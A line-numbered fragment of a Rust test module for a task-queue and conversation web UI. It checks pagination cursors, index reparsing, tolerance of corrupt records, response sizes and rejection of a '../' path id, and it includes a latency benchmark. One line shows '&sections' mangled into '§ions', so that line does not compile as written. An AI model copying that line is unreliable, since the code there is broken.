23546 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23547 let expected =
23548 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23549 .unwrap();
23550 assert_eq!(actual.id, expected.id);
23551 assert!(!actual.status.open());
23552 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23553 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23554 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23557 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23558 }
23559 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23560 ui.queue.put(&mut child).unwrap();
23561 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23562 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23563 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23564 child.origin_chat = Some(chat_id.clone());
23565 ui.queue.put(&mut child).unwrap();
23566 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23567 assert_eq!(
23568 crate::consult::origin_talk(&tasks, &talks, &question)
23569 .unwrap()
23570 .id,
23571 chat_id
23572 );
23573 let revision = question_record_revision(&question);
23574 question.abandon("settled elsewhere");
23575 assert_ne!(revision, question_record_revision(&question));
23576 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23577 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23578 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23579 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23580 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23581 }
23582
23583 #[test]
23584 fn list_cursors_freeze_membership_and_expire_explicitly() {
23585 let home = tempfile::tempdir().unwrap();
23586 let ui = delta_test_ui(home.path());
23587 std::fs::create_dir_all(ui.queue.root()).unwrap();
23588 for i in 0..40 {
23589 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23590 }
23591 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23592 assert_eq!(first.len(), STORE_PAGE_SIZE);
23593 let cursor = cursor.unwrap();
23594 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23595 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23596 let (second, _) = page_ids(
23597 &ui,
23598 false,
23599 PageQuery {
23600 before: Some(cursor.clone()),
23601 },
23602 )
23603 .unwrap();
23604 assert_eq!(second[0], "record-0023");
23605 assert!(second.iter().all(|id| !first.contains(id)));
23606 assert!(
23607 page_ids(
23608 &ui,
23609 true,
23610 PageQuery {
23611 before: Some(cursor.clone())
23612 }
23613 )
23614 .is_err()
23615 );
23616 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23617 assert_eq!(fresh[0], "record-9999");
23618 ui.monitor.list_walks.lock().unwrap().clear();
23619 assert!(
23620 page_ids(
23621 &ui,
23622 false,
23623 PageQuery {
23624 before: Some(cursor)
23625 }
23626 )
23627 .is_err()
23628 );
23629 }
23630
23631 #[tokio::test]
23632 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23633 let home = tempfile::tempdir().unwrap();
23634 let ui = delta_test_ui(home.path());
23635 let mut task = Task::new(
23636 "task".into(),
23637 "body".into(),
23638 PathBuf::from("/repo"),
23639 Source::Human,
23640 );
23641 ui.queue.put(&mut task).unwrap();
23642 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23643 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23644 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23645 let expected = parsed + usize::from(!cfg!(unix));
23646 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23647 task.status = crate::queue::TaskStatus::Held;
23648 ui.queue.put(&mut task).unwrap();
23649 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23650 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23651 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23652 ui.queue.put(&mut task).unwrap();
23653 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23654 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23655 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23656 }
23657
23658 #[tokio::test]
23659 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23660 let home = tempfile::tempdir().unwrap();
23661 let ui = delta_test_ui(home.path());
23662 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23663 let before = health(State(ui.clone())).await.unwrap().0;
23664 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23665 let after = health(State(ui)).await.unwrap().0;
23666 assert_ne!(before.notifications_rev, after.notifications_rev);
23667 assert_eq!(after.notifications_unread, 1);
23668 }
23669
23670 #[tokio::test]
23671 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23672 let home = tempfile::tempdir().unwrap();
23673 let ui = delta_test_ui(home.path());
23674 let queue = &ui.queue;
23675 let talks = &ui.talks;
23676 for i in 0..1000 {
23677 let id = format!("20261019-{i:06}-page");
23678 let mut task = Task::new(
23679 "task".into(),
23680 "instruction".repeat(100),
23681 PathBuf::from("/repo/magi"),
23682 Source::Human,
23683 );
23684 task.id = id.clone();
23685 if i == 0 {
23686 task.status = crate::queue::TaskStatus::Held;
23687 } else if i == 999 {
23688 task.status = crate::queue::TaskStatus::Blocked;
23689 task.blocked_by = vec!["20261019-000000-page".into()];
23690 }
23691 queue.put(&mut task).unwrap();
23692 seed_talk_at(talks, &id, "open");
23693 }
23694 let page = serde_json::to_value(
23695 queue_page(State(ui.clone()), Query(PageQuery::default()))
23696 .await
23697 .unwrap()
23698 .0,
23699 )
23700 .unwrap();
23701 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23702 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23703 assert!(
23704 !page["rows"][0]["stuck_roots"]
23705 .as_array()
23706 .unwrap()
23707 .is_empty()
23708 );
23709 let cursor = page["next"].as_str().unwrap();
23710 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23711 .as_str()
23712 .unwrap();
23713 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23715 let next = serde_json::to_value(
23716 queue_page(
23717 State(ui.clone()),
23718 Query(PageQuery {
23719 before: Some(cursor.into()),
23720 }),
23721 )
23722 .await
23723 .unwrap()
23724 .0,
23725 )
23726 .unwrap();
23727 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23728 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23729 let chats = serde_json::to_value(
23730 talks_page(State(ui.clone()), Query(PageQuery::default()))
23731 .await
23732 .unwrap()
23733 .0,
23734 )
23735 .unwrap();
23736 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23737 assert!(chats["rows"][0].get("pending").is_none());
23738 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23739 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23740 assert_eq!(counts["held"], 1);
23741 assert_eq!(counts["blocked"], 1);
23742 assert_eq!(counts["queued"], 997);
23743 }
23744
23745 #[test]
23746 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23747 let dir = tempfile::tempdir().unwrap();
23748 let ui = delta_test_ui(dir.path());
23749 let mut task = Task::new(
23750 "task".into(),
23751 "body".into(),
23752 PathBuf::from("/repo"),
23753 Source::Human,
23754 );
23755 task.runs = vec!["run-a".into()];
23756 ui.queue.put(&mut task).unwrap();
23757 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23758 task.runs = vec!["run-b".into()];
23759 let path = ui.queue.path_of(&task.id);
23760 let modified = path.metadata().unwrap().modified().unwrap();
23761 let replacement = path.with_extension("replacement");
23762 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23763 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23764 std::fs::write(&replacement, &bytes).unwrap();
23765 std::fs::File::options()
23766 .write(true)
23767 .open(&replacement)
23768 .unwrap()
23769 .set_times(std::fs::FileTimes::new().set_modified(modified))
23770 .unwrap();
23771 std::fs::rename(&replacement, &path).unwrap();
23772 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23773 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23774 std::fs::write(&path, "broken").unwrap();
23775 assert!(ui.find_task_for_run("run-b").is_err());
23776 std::fs::write(&path, bytes).unwrap();
23777 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23778 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23779 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23780 }
23781
23782 #[tokio::test]
23783 async fn conversation_core_is_independent_of_unreadable_related_history() {
23784 let home = tempfile::tempdir().unwrap();
23785 let ui = delta_test_ui(home.path());
23786 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23787 std::fs::create_dir_all(ui.queue.root()).unwrap();
23788 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23789 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23790 .await
23791 .unwrap();
23792 assert_eq!(core.talk.id, id);
23793 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23794 }
23795
23796 #[tokio::test]
23797 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23798 let home = tempfile::tempdir().unwrap();
23799 let ui = delta_test_ui(home.path());
23800 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23801 let mut run = RunState::new(
23802 PathBuf::from("/repo"),
23803 "main".into(),
23804 "01234567".into(),
23805 "Useful run".into(),
23806 Config::default(),
23807 );
23808 run.save_under(home.path()).unwrap();
23809 let mut task = Task::new(
23810 "Related".into(),
23811 "body".into(),
23812 PathBuf::from("/repo"),
23813 Source::Agent {
23814 run: talk_id.clone(),
23815 node: "chat".into(),
23816 },
23817 );
23818 task.runs = vec![run.id.clone()];
23819 ui.queue.put(&mut task).unwrap();
23820 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23821 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23822 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23823 assert!(
23824 run_detail(State(ui.clone()), Path(run.id.clone()))
23825 .await
23826 .is_ok()
23827 );
23828 assert!(
23829 talk_sections(State(ui.clone()), Path(talk_id.clone()))
23830 .await
23831 .is_ok()
23832 );
23833 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23835 assert!(ui.find_task_for_run(&run.id).is_err());
23836 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
23837 ui.queue.put(&mut task).unwrap();
23838 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
23839 }
23840
23841 #[tokio::test]
23842 async fn conversation_sections_omit_large_task_instructions() {
23843 let home = tempfile::tempdir().unwrap();
23844 let ui = delta_test_ui(home.path());
23845 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23846 let mut task = Task::new(
23847 "filed task".into(),
23848 "large instruction ".repeat(65536),
23849 PathBuf::from("/repo"),
23850 Source::Agent {
23851 run: id.clone(),
23852 node: "chat".into(),
23853 },
23854 );
23855 ui.queue.put(&mut task).unwrap();
23856 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
23857 assert_eq!(sections["tasks"][0]["id"], task.id);
23858 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
23859 assert!(sections["tasks"][0].get("instruction").is_none());
23860 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
23861 }
23862
23863 #[test]
23864 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
23865 let home = tempfile::tempdir().unwrap();
23866 let talks = Talks::at(home.path().join("talks"));
23867 seed_talk_at(&talks, "20261019-000001-abcd", "open");
23868 seed_talk_at(&talks, "20261019-000002-abcd", "open");
23869 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
23870 assert!(resolve_talk(&talks, "../outside").is_err());
23871 assert!(resolve_talk(&talks, "abcd").is_err());
23872 assert_eq!(
23873 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
23874 "20261019-000001-abcd"
23875 );
23876 }
23877
23878 include!(concat!(
23879 env!("CARGO_MANIFEST_DIR"),
23880 "/tests/web_latency/baseline.rs"
23881 ));
23882
23883 include!(concat!(
23884 env!("CARGO_MANIFEST_DIR"),
23885 "/tests/web_latency/lists.rs"
23886 ));
23887
23888 #[tokio::test]
23889 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
23890 async fn web_history_latency_measurement() {
23891 use std::time::Instant;
23892 let home = tempfile::tempdir().unwrap();
23893 let ui = delta_test_ui(home.path());
23894 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23895 let mut template = ui.talks.get(&id).unwrap();
23896 template.turns = serde_json::from_value(serde_json::json!([{
23897 "who": "operator", "body": "Show the accumulated work and its current status.",
23898 "at": Timestamp::now().to_string(),
23899 }]))
23900 .unwrap();
23901 std::fs::write(
23902 ui.talks.path_of(&id),
23903 serde_json::to_vec(&template).unwrap(),
23904 )
23905 .unwrap();
23906 let count = std::env::var("MAGI_BENCH_RECORDS")
23907 .ok()
23908 .and_then(|s| s.parse::<usize>().ok())
23909 .unwrap_or(1000);
23910 for i in 0..count {
23911 template.id = format!("20261019-{i:06}-history");
23912 template.pending = "history ".repeat(2048);
23913 std::fs::write(
23914 ui.talks.path_of(&template.id),
23915 serde_json::to_vec(&template).unwrap(),
23916 )
23917 .unwrap();
23918 let mut task = Task::new(
23919 "old task".into(),
23920 "instruction ".repeat(2048),
23921 PathBuf::from("/repo"),
23922 Source::Human,
23923 );
23924 task.id = format!("20261019-{i:06}-task");
23925 ui.queue.put(&mut task).unwrap();
23926 }
23927 for baseline in [true, false] {
23928 for clients in [1, 4] {
23929 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
23930 let mut samples = Vec::new();
23931 for _ in 0..12 {
23932 let mut jobs = Vec::new();
23933 for _ in 0..clients {
23934 let ui = ui.clone();
23935 let id = id.clone();
23936 jobs.push(tokio::spawn(async move {
23937 let start = Instant::now();
23938 if baseline {
23939 let response =
23940 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
23941 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
23942 return (
23943 elapsed,
23944 elapsed,
23945 serde_json::to_vec(&response).unwrap().len(),
23946 );
23947 }
23948 let core = talk_core(State(ui.clone()), Path(id.clone()));
23949 let secondary = talk_sections(State(ui), Path(id));
23950 let (first, total) = tokio::join!(
23951 async {
23952 let value = core.await.unwrap().0;
23953 (
23954 start.elapsed().as_secs_f64() * 1000.0,
23955 serde_json::to_vec(&value).unwrap().len(),
23956 )
23957 },
23958 async {
23959 let value = secondary.await.unwrap().0;
23960 (
23961 start.elapsed().as_secs_f64() * 1000.0,
23962 serde_json::to_vec(&value).unwrap().len(),
23963 )
23964 }
23965 );
23966 (first.0, first.0.max(total.0), first.1 + total.1)
23967 }));
23968 }
23969 for job in jobs {
23970 samples.push(job.await.unwrap());
23971 }
23972 }
23973 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
23974 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
23975 first.sort_by(f64::total_cmp);
23976 total.sort_by(f64::total_cmp);
23977 let n = first.len();
23978 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
23979 println!(
23980 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
23981 first[n / 2],
23982 first[(n * 95 / 100).min(n - 1)],
23983 total[n / 2],
23984 total[(n * 95 / 100).min(n - 1)],
23985 samples[0].2
23986 );
23987 }
23988 }
23989 }
23990
23991 #[test]
23992 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
23993 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
23995 assert!(APP_JS.contains("function nextRunRequest(id)"));
23996 assert!(APP_JS.contains("function runShell(id, summary)"));
23997 assert!(APP_JS.contains("function nextTaskRequest(id)"));
23998 assert!(APP_JS.contains("function taskShell(id, summary)"));
23999 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24000 }
24001}